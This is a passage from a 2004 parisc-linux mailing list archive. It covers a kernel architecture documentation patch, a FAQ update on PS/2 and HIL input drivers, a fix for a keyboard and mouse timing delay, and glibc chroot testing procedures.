+  (see Documentation/parisc)
+  <http://www.parisc-linux.org>

EOF




From - Thu Nov 08 21:31:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [DOC] Linux 2.6.4
Date: Mon, 15 Mar 2004 14:35:59 +0000
Lines: 47
Approved: news@gmane.org
Message-ID: <20040315143559.GD25059@parcelfarce.linux.theplanet.co.uk>
References: <mnet8.1079358785.20900.pinotj@club-internet.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623273 6629 80.91.229.3 (22 Nov 2014 02:27:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:53 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: pinotj@club-internet.fr
Original-X-From: willy@www.linux.org.uk  Mon Mar 15 07:36:01 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5A9254857
	for <parisc-linux@parisc-linux.org>;
	Mon, 15 Mar 2004 07:36:01 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1B2tCC-0003IT-19; Mon, 15 Mar 2004 14:36:00 +0000
Content-Disposition: inline
In-Reply-To: <mnet8.1079358785.20900.pinotj@club-internet.fr>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Mar 2004 14:36:01 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21095

On Mon, Mar 15, 2004 at 02:53:05PM +0100, pinotj@club-internet.fr wrote:
> I wrote this week-end a document to sum up all the arch that Linux
> 2.6.4 support. I extracted the informations from the source and I would
> like to have comments/changes/advice from you about the PA-RISC part. I
> have maybe make some mistake and/or things are little bit different so
> I would like you to take a look at this (I removed the non-PARISC parts,
> the complete file is around 11ko) before suggesting a patch.

This doesn't seem *terribly* useful in its current form ... and of course there are some mistakes.  It might help if I saw what the other entries look like,
but it might make more sense to say something like:

+ 10. PA-RISC
+ ~~~~~~~~~~~
+	705, 710, 720, 730, 750
+	712, 715, 725, 735, 755
+	B, C, J class workstations
+	D, K, R, A, L, N class servers and rpXXXX servers
+	T and V class servers are not supported
+	Superdome will need some additional work.
+
+  (see Documentation/parisc)
+  <http://www.parisc-linux.org>


> --- linux-2.6.4.orig/Documentation/ARCH	1970-01-01 09:00:00.000000000 +0900
> +++ linux-2.6.4/Documentation/ARCH	2004-03-15 16:20:06.000000000 +0900
> @@ -0,0 +1,425 @@
> + Content:
> + ~~~~~~~~
> +	1. i386		7. IA-64		13. S390
> +	2. Alpha	8. M68K (w/o MMU)	14. SuperH
> +	3. ARM		9. MIPS (32/64)		15. SPARC
> +	4. ARM26	10. PA-RISC		16. UltraSPARC
> +	5. CRIS		11. PPC			17. v850
> +	6. H8300	12. PPC64		18. x86-64

S390 and PA-RISC also support both 32 and 64 bit.
I'd leave off the 'w/o MMU' tag from M68k since both are supported.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@infodrom.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Re: No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Mon, 15 Mar 2004 16:05:40 +0100
Lines: 59
Approved: news@gmane.org
Message-ID: <20040315150539.GA20698@finlandia.infodrom.north.de>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
	<200403091103.29310.deller@gmx.de>
	<20040314073706.GA28440@finlandia.infodrom.north.de>
	<200403142048.27506.deller@gmx.de>
	<20040314204959.GA32470@finlandia.infodrom.north.de>
	<20040315003127.GA11856@colo.lackof.org>
	<20040315084247.GJ9104@finlandia.infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Trace: ger.gmane.org 1416623273 6632 80.91.229.3 (22 Nov 2014 02:27:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:53 +0000 (UTC)
To: PA-RISC Linux Hacker <parisc-linux@lists.parisc-linux.org>
Original-X-From: joey@infodrom.org  Mon Mar 15 08:07:52 2004
Return-Path: <joey@infodrom.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from luonnotar.infodrom.org (luonnotar.infodrom.org [195.124.48.78])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA2224857
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Mar 2004 08:07:51 -0700 (MST)
Original-Received: by luonnotar.infodrom.org (Postfix, from userid 10)
	id 2CC12366B71; Mon, 15 Mar 2004 16:07:13 +0100 (CET)
Original-Received: at Infodrom Oldenburg (/\##/\ Smail-3.2.0.102 1998-Aug-2 #2)
	from infodrom.org by finlandia.Infodrom.North.DE via smail from stdin
	id <m1B2teu-000ojYC@finlandia.Infodrom.North.DE>
	for parisc-linux@lists.parisc-linux.org;
	Mon, 15 Mar 2004 16:05:40 +0100 (CET) 
Content-Disposition: inline
In-Reply-To: <20040315084247.GJ9104@finlandia.infodrom.north.de>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Mar 2004 15:07:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21096

Martin Schulze wrote:
> Grant Grundler wrote:
> > > Well, if you *know* that it's a PS/2 mouse and PS/2 keyboard, you're
> > > correct.  However, does everybody know that who gets hold of a PARISC
> > > machine fully equipped with HIL hub and stuff?  Maybe it's just me
> > > who hasn't expected that since the old (really old) machines didn't
> > > use pc standard equipment and since PA machines usually use different
> > > parts.  You choose since you're more familiar with the port.
> > 
> > Well, maybe it would be better to make this a FAQ on the parisc-linux
> > web site?
> 
> Aye!

Maybe this one is better since CONFIG_KEYBOARD_HIL and CONFIG_HIL_MLC
aren't required.  I'm not sure about the mouse part since mine doesn't
yet work again.

--- /tmp/work/faq.html.orig	2004-03-15 09:36:25.000000000 +0100
+++ /tmp/work/faq.html	2004-03-15 10:44:59.000000000 +0100
@@ -8,6 +8,27 @@
   <li>First of all, your kernel has to be 2.4.18-pa45 or higher.<br>
       Earlier kernel versions will not work !
   </li>
+
+  <li>In the latest 2.6 kernel series, we switched from a PA-RISC-only
+      PS/2 mouse/keyboard driver to the standard Linux kernel PS/2
+      mouse and keyboard drivers.  Hence, in order to get your PS/2
+      mouse/keyboard connected via HIL work you'll have to enable
+      <ul>
+      <li> CONFIG_KEYBOARD_ATKBD
+      <li> CONFIG_MOUSE_PS2
+      </ul>
+      in addition to
+      <ul>
+      <li> CONFIG_INPUT_KEYBOARD
+      <li> CONFIG_INPUT_MOUSE
+      <li> CONFIG_MOUSE_HIL
+      </ul>
+      You don't need these options anymore:
+      <ul>
+      <li> CONFIG_KEYBOARD_HIL
+      <li> CONFIG_HIL_MLC
+      </ul>
+  </li>
   <li>On the bash prompt enter as root the following comand:<br>
       <code>cd /dev && ./MAKEDEV input</code><br>
       This command creates the standard input device nodes in the /dev/input/


Regards,

	Joey

-- 
Whenever you meet yourself you're in a time loop or in front of a mirror.

Please always Cc to me when replying to me on the lists.


From - Thu Nov 08 21:31:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@infodrom.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Re: No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Mon, 15 Mar 2004 18:14:20 +0100
Lines: 96
Approved: news@gmane.org
Message-ID: <20040315171420.GW9104@finlandia.infodrom.north.de>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
	<200403142055.12668.deller@gmx.de>
	<20040314202825.GF9104@finlandia.infodrom.north.de>
	<200403142219.00823.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Trace: ger.gmane.org 1416623273 6638 80.91.229.3 (22 Nov 2014 02:27:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: joey@infodrom.org  Mon Mar 15 10:17:26 2004
Return-Path: <joey@infodrom.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from luonnotar.infodrom.org (luonnotar.infodrom.org [195.124.48.78])
	by dsl2.external.hp.com (Postfix) with ESMTP id B27F54857
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Mar 2004 10:17:25 -0700 (MST)
Original-Received: by luonnotar.infodrom.org (Postfix, from userid 10)
	id BF2C4366B64; Mon, 15 Mar 2004 18:16:46 +0100 (CET)
Original-Received: at Infodrom Oldenburg (/\##/\ Smail-3.2.0.102 1998-Aug-2 #2)
	from infodrom.org by finlandia.Infodrom.North.DE via smail from stdin
	id <m1B2vfQ-000ofJC@finlandia.Infodrom.North.DE>
	for deller@gmx.de; Mon, 15 Mar 2004 18:14:20 +0100 (CET) 
Content-Disposition: inline
In-Reply-To: <200403142219.00823.deller@gmx.de>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Mar 2004 17:17:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21097

Helge Deller wrote:
> > Don't be confused, it doesn't work anymore.
> 
> I would be interested in your dmesg log.

It's at http://luonnotar.infodrom.org/~joey/dmesg.txt

> Mine (HIL only!) looks like this:
> 
> mice: PS/2 mouse device common for all mice
> serio: GSC PS2 keyboard port at 0xf0108000 irq 69 @ parisc2:0:11
> gscps2.c: timeout - could not write byte 0xed
> gscps2.c: sending byte 0xed failed.

mice: PS/2 mouse device common for all mice
serio: GSC PS2 keyboard port at 0xf0108000 irq 69 @ parisc2:0:11
input: AT Raw Set 2 keyboard on parisc2:0:11
serio: GSC PS2 mouse port at 0xf0108100 irq 69 @ parisc2:0:12

> HP SDC: HP SDC reports successful PUP.
> HP SDC: HP SDC at 0xf0201000, IRQ 126 (NMI IRQ 125)
> HP SDC: New style SDC
> HP SDC: Revision: 1820-4784
> HP SDC: TI SN76494 beeper present
> HP SDC: OKI MSM-58321 BBRTC present
> HP SDC: Spunking the self test register to force PUP on next firmware reset.
> HP SDC MLC: Registering the System Domain Controller's HIL MLC.
> 
> -> OK, the HIL stuff is detected. (BTW, test this after power-cycling the machine!)

HP SDC: HP SDC at 0xf0201000, IRQ 126 (NMI IRQ 125)
HP SDC: New style SDC
HP SDC: Revision: 1820-4784
HP SDC: TI SN76494 beeper present
HP SDC: OKI MSM-58321 BBRTC present
HP SDC: Spunking the self test register to force PUP on next firmware reset.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.

> and then nearly at the end of dmesg:
> HIL KEYB: HIL keyboard found (did = 0xcf, lang = german)
> input: HIL keyboard, ID: 207

Not found here, of course.

> HIL PTR: HIL pointer device found (did: 0x68, axis: relative)
> HIL PTR: HIL pointer has 3 buttons and 1 sets of 2 axes
> input: HIL pointer device (HIL mouse), ID: 104

Not found here as well.

> This is now HIL keyboard and HIL mouse.
> So my HIL mouse is detected, but doesn't seem to work yet.... :-( 

*sigh*

> > FWIW: I had mouse support and I had keyboard support.  Just not at the
> > same time unfortunately.  So in general it works at least.  The
> > configuration is a bit non-intuitive since you'll have to enable
> > HIL_KBD and AT_KBD.  However, logically it makes sense.
> 
> No. You should disable HIL_KBD (but it doesn't hurt either).

Done.  Keyboard still works.

> As said above: Hard Power-cycle the machine before each test!

Of course.  I'll have to turn it off for keyboard / mouse changes
or the machine will drop support for what I changed.

> Furthermore you might try to increase the value of mdelay(6); in line 168
> in file linux-2.6/drivers/input/serio/gscps2.c...
> Maybe it's a timing issue ?

Apparently, it was.  I now have keyboard and mouse support.
I set the delay to 12.

> This is what you should have in your .config:
> CONFIG_SERIO_GSCPS2=y
> CONFIG_INPUT_KEYBOARD=y
> CONFIG_KEYBOARD_ATKBD=y
> CONFIG_INPUT_MOUSE=y
> CONFIG_MOUSE_PS2=y

All there.

Everything's working fine now, btw.

Regards,

	Joey

-- 
Whenever you meet yourself you're in a time loop or in front of a mirror.

Please always Cc to me when replying to me on the lists.


From - Thu Nov 08 21:31:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20=09RE=3A=20New=20glibc=20patches=202004=2D03=2D08=2C=20fixes=20GLRO=20changes=2E?=
Date: Mon, 15 Mar 2004 18:38:46 +0100
Lines: 66
Approved: news@gmane.org
Message-ID: <404EC2E70000403A@ocpmta2.freegates.net>
References: <4054B9BC.30309@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623274 6639 80.91.229.3 (22 Nov 2014 02:27:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:54 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: "James Morrison" <ja2morri@csclub.uwaterloo.ca>
Original-X-From: soete.joel@tiscali.be  Mon Mar 15 10:38:50 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4FA734857
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Mar 2004 10:38:50 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1B2w35-0004EF-00; Mon, 15 Mar 2004 18:38:47 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 15 Mar 2004 18:38:46 +0100
In-Reply-To: <4054B9BC.30309@tiscali.be>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Mar 2004 17:38:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21098

Hello Jim,

Sorry for confusion but you have definitely right.

[snip]use prefix=/usr and make  install_root=/mnt/chroot install;

This is the right method because if I use prefix=/mnt/chroot and 'make install',
when the install was finished and I tried chroot/mnt/chroot: here was the
error message:
chroot /mnt/chroot
/bin/bash: error while loading shared libraries: libncurses.so.5: cannot
open shared object file: No such file or directory

and strace shows me that it looking for libncurses.so.5 into /mnt/chroot/lib
:)

So to launch make -k check in this config, I foreseen to use prefix=/usr
and make install_root=/mnt/chroot; then mount -o bind /GlibcSrcFS /mnt/chroot/GlibcSrcFS;
chroot /mnt/chroot; and in this env launch the make -k check. Do you know
another solution?

Many thanks for advise,
    Joel


Joel Soete wrote:
> 
> 
> Carlos O'Donell wrote:
> 
>> On Fri, Mar 12, 2004 at 06:33:11PM +0100, Joel Soete wr
> te:
>>
>>> Hmmm all output files realted to Error1 was empty because of:
>>> hppa-linux-gcc -nostdlib -nostartfiles -o 
>>> /Develop/parisc-linux/build/glibc/posix/tst-regex
>>> -Wl,-dynamic-linker=/lib/ld.so.1
                         ^^^^^^^^^^
> ^

When I use the previous method (prefix=/mnt/chroot) it become :

-dynamic-linker=/mnt/chroot/lib/ld.so.1

So here I can drive make -k check without pb in basic env (the one in which
I build the new glibc)

OTC with James' method I would have
> to do it in chroot /mnt/chroot env.
And it wasn't what I did; I will so restart build and test with prefix=/mnt/chroot
(as I use to do) and advise you of the new 
results ;)

That's a way to lurn ;)

Joel



----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 	RE: New glibc patches 2004-03-08,
	fixes GLRO changes.
Date: Mon, 15 Mar 2004 13:51:13 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <20040315185113.GC660@baldric.uwo.ca>
References: <4054B9BC.30309@tiscali.be>
	<404EC2E70000403A@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623274 6643 80.91.229.3 (22 Nov 2014 02:27:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:54 +0000 (UTC)
Cc: James Morrison <ja2morri@csclub.uwaterloo.ca>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Mon Mar 15 11:53:56 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 830F94857
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Mar 2004 11:53:56 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1B2xBC-0001hg-00; Mon, 15 Mar 2004 13:51:14 -0500
Content-Disposition: inline
In-Reply-To: <404EC2E70000403A@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (93% Sync Ratio [=========.])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Mar 2004 18:53:56 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21099

On Mon, Mar 15, 2004 at 06:38:46PM +0100, Joel Soete wrote:
> Hello Jim,
> 
> Sorry for confusion but you have definitely right.
> 
> [snip]use prefix=/usr and make  install_root=/mnt/chroot install;
> 
> This is the right method because if I use prefix=/mnt/chroot and 'make install',
> when the install was finished and I tried chroot/mnt/chroot: here was the
> error message:
> chroot /mnt/chroot
> /bin/bash: error while loading shared libraries: libncurses.so.5: cannot
> open shared object file: No such file or directory
> 
> and strace shows me that it looking for libncurses.so.5 into /mnt/chroot/lib
> :)
> 
> So to launch make -k check in this config, I foreseen to use prefix=/usr
> and make install_root=/mnt/chroot; then mount -o bind /GlibcSrcFS /mnt/chroot/GlibcSrcFS;
> chroot /mnt/chroot; and in this env launch the make -k check. Do you know
> another solution?

That sounds like a perfect solution! :)

Thanks Joel.

c.



From - Thu Nov 08 21:31:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Mon, 15 Mar 2004 20:46:13 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <200403152046.13832.deller@gmx.de>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
	<200403142219.00823.deller@gmx.de>
	<20040315171420.GW9104@finlandia.infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623274 6644 80.91.229.3 (22 Nov 2014 02:27:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Martin Schulze <joey@infodrom.org>
Original-X-From: deller@gmx.de  Mon Mar 15 12:46:23 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id ACB774857
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Mar 2004 12:46:22 -0700 (MST)
Original-Received: (qmail 6300 invoked by uid 65534); 15 Mar 2004 19:46:21 -0000
Original-Received: from pD9040795.dip.t-dialin.net (EHLO p100) (217.4.7.149)
	by mail.gmx.net (mp027) with SMTP; 15 Mar 2004 20:46:21 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.6.51
In-Reply-To: <20040315171420.GW9104@finlandia.infodrom.north.de>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Mar 2004 19:46:23 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21100

On Monday 15 March 2004 18:14, Martin Schulze wrote:
> > Furthermore you might try to increase the value of mdelay(6); in line 168
> > in file linux-2.6/drivers/input/serio/gscps2.c...
> > Maybe it's a timing issue ?
> 
> Apparently, it was.  I now have keyboard and mouse support.
> I set the delay to 12.

Did you tried any other values between 6 and 12 ?
If a lower value works for you, I would like to put this one in the source....

> > This is what you should have in your .config:
> > CONFIG_SERIO_GSCPS2=y
> > CONFIG_INPUT_KEYBOARD=y
> > CONFIG_KEYBOARD_ATKBD=y
> > CONFIG_INPUT_MOUSE=y
> > CONFIG_MOUSE_PS2=y
> 
> All there.
> 
> Everything's working fine now, btw.

Cool. 

Regards,
Helge


From - Thu Nov 08 21:31:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Mon, 15 Mar 2004 21:02:56 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <000501c40ac8$81cefee0$3601a8c0@FLORENCE>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com><200403142219.00823.deller@gmx.de><20040315171420.GW9104@finlandia.infodrom.north.de>
	<200403152046.13832.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623275 6647 80.91.229.3 (22 Nov 2014 02:27:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Helge Deller" <deller@gmx.de>,
	"Martin Schulze" <joey@infodrom.org>
Original-X-From: ajwalker@broadpark.no  Mon Mar 15 13:02:36 2004
Return-Path: <ajwalker@broadpark.no>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id B773548A6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Mar 2004 13:02:36 -0700 (MST)
Original-Received: from tolstoy.puszczka.com (47.80-202-73.nextgentel.com
	[80.202.73.47]) by mail.broadpark.no (Postfix) with ESMTP
	id 485E56B71; Mon, 15 Mar 2004 21:02:35 +0100 (MET)
Original-Received: from FLORENCE (dhcp054.puszczka.com [192.168.1.54])
	by tolstoy.puszczka.com (Postfix) with SMTP
	id 04E7282EE; Mon, 15 Mar 2004 21:10:50 +0100 (CET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Mar 2004 20:02:37 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21101

----- Original Message ----- 
From: "Helge Deller" <deller@gmx.de>
> > > Maybe it's a timing issue ?
> >
> > Apparently, it was.  I now have keyboard and mouse support.
> > I set the delay to 12.
>
> Did you tried any other values between 6 and 12 ?
> If a lower value works for you, I would like to put this one in the
source....
>

Helge,

